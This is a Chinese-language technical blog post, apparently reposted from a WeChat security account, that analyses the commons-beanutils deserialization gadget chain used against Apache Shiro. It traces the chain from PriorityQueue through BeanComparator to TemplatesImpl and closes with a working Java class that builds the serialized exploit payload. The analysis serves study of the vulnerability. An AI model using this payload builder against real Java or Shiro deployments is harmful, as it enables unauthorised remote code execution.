前言
上篇文章了解了shiro反序列化漏洞是如何挖掘出来的,接下来看看如何利用各种链条来执行命令 本文分析commons-beanutils链条 简称cb链
java反序列化漏洞
先简单了解下java反序列化漏洞
在Java反序列化中,会调用被反序列化对象的readObject
方法,当readObject
方法被重写不当时产生漏洞
跟踪commons-beanutils链条
(只是跟踪分析链条怎么编写出的,并不是挖掘链条,条件是已知链条)
入口点(Source)
jdk中的PriorityQueue类重写了readObject
/Java/JavaVirtualMachines/jdk1.8.0_112.jdk/Contents/Home/src.zip!/java/util/PriorityQueue.java
调用链(gadget)
继续跟踪 可以看到调用了同类下的heapify();方法
条件comparator != null 进入同类siftDownUsingComparator方法
此方法在实现下沉操作时调用了Comparator接口下compare方法
第一个转折点(从jdk跳转到cb依赖包)
可以看到今天的主角commons-beanutils实现了该接口
来看看compare接口是怎么实现的
当property != null时 会调用PropertyUtils#getProperty方法
第二个转折点(跳转到TemplatesImpl)
PropertyUtils#getProperty方法chatgpt解释:这个方法允许你通过给定的 JavaBean 对象和属性名,获取该属性的值。它使用了 Java 反射机制,通过调用 JavaBean 对象的 getter 方法来获取属性的值。
使用示例
import org.apache.commons.beanutils.PropertyUtils;
public class Example {
public static void main(String[] args) {
// 假设有一个名为 "person" 的 JavaBean 对象
Person person = new Person("John", 25);
try {
// 获取属性 "name" 的值
String name = (String) PropertyUtils.getProperty(person, "name");
System.out.println("Name: " + name);
// 获取属性 "age" 的值
int age = (int) PropertyUtils.getProperty(person, "age");
System.out.println("Age: " + age);
} catch (IllegalAccessException | InvocationTargetException | NoSuchMethodException e) {
e.printStackTrace();
}
}
}
而在代码中我们看到:o1 o2 为该方法传入的参数 而property可以通过set方法赋值
所以我们通过这个方法能调用任意类中的getter方法
TemplatesImpl链条
TemplatesImpl链条在 Fastjson cc2 cc3 中都有涉及 可以直接加载恶意字节码进行执行命令
该类的 getter方法调用了newTransformer方法
跟进又调用了getTransletInstance()方法
调用了defineTransletClasses方法 条件是_name != null
这里通过反射机制创建一个 AbstractTranslet
类的实例 因此,我们要利用TemplatesImpl,需要继承AbstractTranslet才可实现加载过程完成AbstractTranslet实例化
执行点(sink)
我们可以传入恶意字节码在加载时进行执行命令
至于这里为什么能执行命令
我们都知道 .java文件在运行时会生成一个.class文件,是以字节码形式存储的,当这个class文件加载到JVM中,这个类被初始化时,就会执行类内的静态代码块。
这里和上面一样,当我们构造一个恶意类并生成字节码形式,在初始化时执行类内静态代码块中有我们的恶意代码 造成代码执行(再细就到java内核原理了有兴趣的师傅可以自己去了解)
恶意类
转换为字节码形式
利用链payload
public class CommonsBeanutils1Shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes}); //恶意字节码
setFieldValue(obj, "_name", "xxxxxx"); //条件
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); //条件
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
}
原文始发于微信公众号(艾克sec):Java反序列化利用:commons-beanutils(cb链)简单分析